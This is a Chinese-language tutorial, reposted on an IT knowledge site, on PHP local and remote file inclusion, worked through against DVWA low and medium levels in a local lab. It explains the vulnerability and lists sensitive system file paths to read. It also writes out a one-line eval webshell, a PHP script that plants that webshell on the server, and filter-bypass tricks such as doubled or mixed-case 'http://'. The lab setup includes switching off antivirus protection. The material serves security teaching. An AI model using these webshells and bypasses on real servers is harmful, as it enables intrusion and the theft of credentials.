IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> 【文件包含】——文件包含漏洞入门 -> 正文阅读

[PHP知识库]【文件包含】——文件包含漏洞入门

一、实验目的:

1、通过本次学习掌握文件包含原理及漏洞产生的原因;
2、通过搭建漏洞环境,学习绕过技巧;
3、通过源码学习文件包含漏洞的过滤方式。

二、工具:

火狐/谷歌浏览器
菜刀/蚁剑

三、实验环境:

靶?机: windows10虚拟机:192.168.100.150
??????phpstudy2018_Apache集成环境

攻击机: 物理机

四、漏洞说明:

1.?什么是文件包含?

??为了更好地使用代码的重用性,引入了文件包含函数,通过文件包含函数将文件包含进来,直接使用包含文件的代码,简单点来说就是一个文件里面包含另外一个或多个文件。

2.?漏洞成因:

??文件包含函数加载的参数没有经过过滤或者严格的定义,可以被用户控制,包含其他恶意文件,导致了执行了非预期的代码。

3.?文件包含相关的四个函数:

  • include():
  • ??找不到被包含文件,报错,但会继续运行脚本;
  • include_once():
  • ??与include()类似,区别在于,当重复调用同一文件时,程序只调用一次;
  • require():
  • ??找不到被包含文件,报错,并且停止运行脚本;
  • require_once():
  • ??与require类似,区别在于,当重复调用同一文件时,程序只调用一次;include_once()和require_once()这两个函数只包含一次,适用于在脚本执行期想确保它只被包括一次以避免函数重定义,变量重新赋值等问题。
  • 对文件进行操作的其他函数,如f_open(),f_read()

4.?漏洞原理:

??在通过PHP的相应函数(比如include())引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入

5.?文件包含漏洞的形成,需要满足两个条件:

1、include()等函数通过动态变量的方式引入需要包含的文件;
2、用户能够控制这个动态变量;
注:一般来说服务端通过GETPOST两种请求方式来传递需要包含的文件的话就是用户可控的。

6.?文件包含漏洞危害:

敏感信息泄露
获取Webshell
任意命令执行

??文件包含漏洞是一个危险度比较高的漏同,本地文件包含的可以造成探测到服务配置信息或者是类似password文件这样的敏感信息,也可以读取本地的源代码进行分析进一步发现漏同,或者圃过构造特殊请求写入日志,然后包含日志文件,达到获取Webshell的目的。
??远程文件包含漏洞危害更大,可以通过包含远程文件达到轻松的执行任意命令和获取Webshell。

7.?文件包含各个脚本代码:

#PHP:
<?php Include('test.php')?>
#ASP:
<!--#include file="1.asp" -->
#ASPX:
<!--#include file="top.aspx" -->
#JSP:
<c:import url="http://thief.one/1.jsp">
<jsp:include page="head.jsp"/>
<%@ include file="head.jsp"%>

六、文件类型:

1.?本地文件包含(LFI):

1.1?原理:

??本地文件包含(Local File Include,LFI),能够读取或执行包含本地文件的漏洞,称为本地文件包含漏洞。
??LFI允许攻击者通过浏览器包含本机上的文件。当一个WEB应用程序在没有正确过滤输入数据的情况下,就有可能存在这个漏洞,该漏洞允许攻击者操纵输入数据、注入路径遍历字符、包含web服务器的其他文件。

1.2?常见的敏感信息路径:

Windows系统:

C:\Windows\System32\drivers\etc\hosts            //查看hosts文件
C:\boot.ini                                      //查看系统版本
C:\windows\system32\inetsrv\MetaBase.xml         //IIS配置文件
C:\windows\repair\sam                            //存储Windows系统初次安装的密码
C:\ProgramFiles\mysql\my.ini                     //MySQL配置
C:\ProgramFiles\mysql\data\mysql\user.MYD        //MySQL root密码
C:\windows\php.ini                               //php 配置信息

Linux/Unix系统:

/etc/passwd                                         //账户信息
/etc/shadow                                         //账户密码文件
/usr/local/app/apache2/conf/httpd.conf              //Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf  //虚拟网站配置
/usr/local/app/php5/lib/php.ini                     //PHP相关配置
/etc/httpd/conf/httpd.conf                          //Apache配置文件
/etc/my.conf                                        //mysql 配置文件

2.?远程文件包含(RFI):

原理:

??如果php.ini的配置选项allow_url_includeOn的话,文件包含函数是可以加载远程文件的,这种漏洞被称为远程文件包含漏洞。利用远程文件包含漏洞,可以直接执行任意命令。

五、环境准备:

1.?文件包含的两个重要的php参数:

php.ini文件中:

allow_url_fopen=Off
allow_url_include=Off

2.?修改php.ini配置文件:

1、切换php版本

2、在phpstudy中打开php.ini的配置文件:

3、搜索allow_url_include,把off换成on,保存,然后重启phpstudy:

3.?虚拟机关闭window系统的安全中心的病毒实时防护:

六、实验过程:

1.?本次实验环境的敏感文件路径:

C:\Windows\System32\drivers\etc\hosts
E:\php\phpstudy_2018\PHPTutorial\Apache\conf\httpd.conf
E:\php\phpstudy_2018\PHPTutorial\php\php-5.4.45\php.ini
E:\php\phpstudy_2018\PHPTutorial\MySQL\my.ini

2.?DVWA(low級別):

校验源码:

<?php
// The page we wish to display
$file = $_GET[ 'page' ];
?>

2.1?本地文件包含(LFI):

1、调整DVWA的安全级别,并进入文件包含里面:


2、对本地的一些敏感文件进行包含:
hosts文件进行包含,就可以看到hosts的内容:

Apache配置文件进行包含:

mysql配置文件进行包含:

php配置文件进行包含,在包含时出现以下问题,出现了脚本语法的报错:


出现以上报错的原因:
??文件包含有一个特点,就是在包含一个文件时,无论这个文件是什么格式的文件,只要里面含有php代码,它就会按照php脚本来进行解析;这里报错的就是它把php.ini里面的一部分内容当成了php代码进行解析了,解析时发现语法不对,所以就报了错。

2.2?远程文件包含(RFI):

2.2.1?包含1.txtphpinfo文件

1、在虚拟机网站主目录下面创建一个1.txt文件:
内容:

<?php phpinfo();?>


2、直接访问这个文件,发现服务器是以文件文件的方式打开:

3、对这个文件进行远程文件包含,发现1.txt格式的文件被以php脚本的形式解析了:

2.2.2?包含大马文件

1、复制一个大马文件dama.php到虚拟机的网站主目录下,并修改后缀名为txt格式

2、直接访问这个文件,发现服务器是以文本文件的方式打开:

3、对这个文件进行远程文件包含,发现dama.txt格式的文件被以php脚本的形式解析了:

4、输入密码,进行访问:
密码:admin

2.2.3?包含一句话木马

1、在虚拟机网站主目录下面创建一个2.txt文件:
内容:

<?php @eval($_REQUEST[666]);?>

2、直接访问这个文件,发现服务器是以文件文件的方式打开:

3、对它进行远程文件包含,发现能够解析为php脚本文件

4、使用菜刀进行连接,成功获得webshell:

注意:
??有时候,我们无法通过传入参数进行访问phpinfo页面,可能是DVWA的环境问题;还有就算我们能够连接到这个文件,但是菜刀连接不上,这个时候我们可以创建一个写入文件的脚本文件,通过访问这个脚本文件,在目标服务器里面创建一个一句话木马的方式进行连接。

2.2.4?包含写入文件脚本方式,写入一句话木马:

1、在虚拟机网站主目录下面创建一个3.txt的文件,通过这个文件向服务器里面写入一句话木马yjh.php文件:
内容:

<?php 
  $file=fopen('yjh.php','w');
  fputs($file,'<?php @eval($_REQUEST[666]);?>');
?>

2、访问这个文件,是以文本文档的形式打开的:


3、使用远程文件进行包含这个文件,并查看文件包含目录下,已经创建了一个yjh.php的文件:


4、使用菜刀连接,发现已经获得目标服务器的webshell:

3.?DVWA(Medium級別):

校验源码:

<?php
// The page we wish to display
$file = $_GET[ 'page' ]; //定义一个变量,接收通过GET的请求方式传入的page参数;
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file ); //当传入的参数中包含"http://", "https://"时,str_replace()函数会把它们替换为空字符;
$file = str_replace( array( "../", "..\"" ), "", $file );  //当传入的参数中包含"../", "..\"时,str_replace()函数会把它们替换为空字符;
?>


过滤过程:定义一个变量,接收通过GET的请求方式传入的page参数--->当传入的参数中包含http://, https://时,替换为空字符--->继续过滤,当传入的参数中包含../, ..\时,把它们替换为空字符

3.1?本地文件包含(LFI):

1、调整DVWA的安全级别,并进入文件包含里面:


2、包含本地host文件,成功包含:

3.2?远程文件包含(RFI):

1、使用远程文件包含1.txt文件,出现以下报错:
内容:

<?php phpinfo();?>

通过上面红框框中的地方我们可以看到,我们通过远程包含传入的URL中的http://被过滤掉了。
绕过方式:
a.通常把危险字符替换为空的方式,我们可以通过双写的形式进行绕过;
b.通过这关的源码我们可以看出,在过滤的过程中,没有对大小写进行过滤,我们还可以通过大小写混合的方式进行绕过;

2、绕过方式:
双写绕过:


大小写混合绕过:

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-08-02 10:36:11  更:2021-08-02 10:36:38 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年5日历 -2024/5/5 1:42:35-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码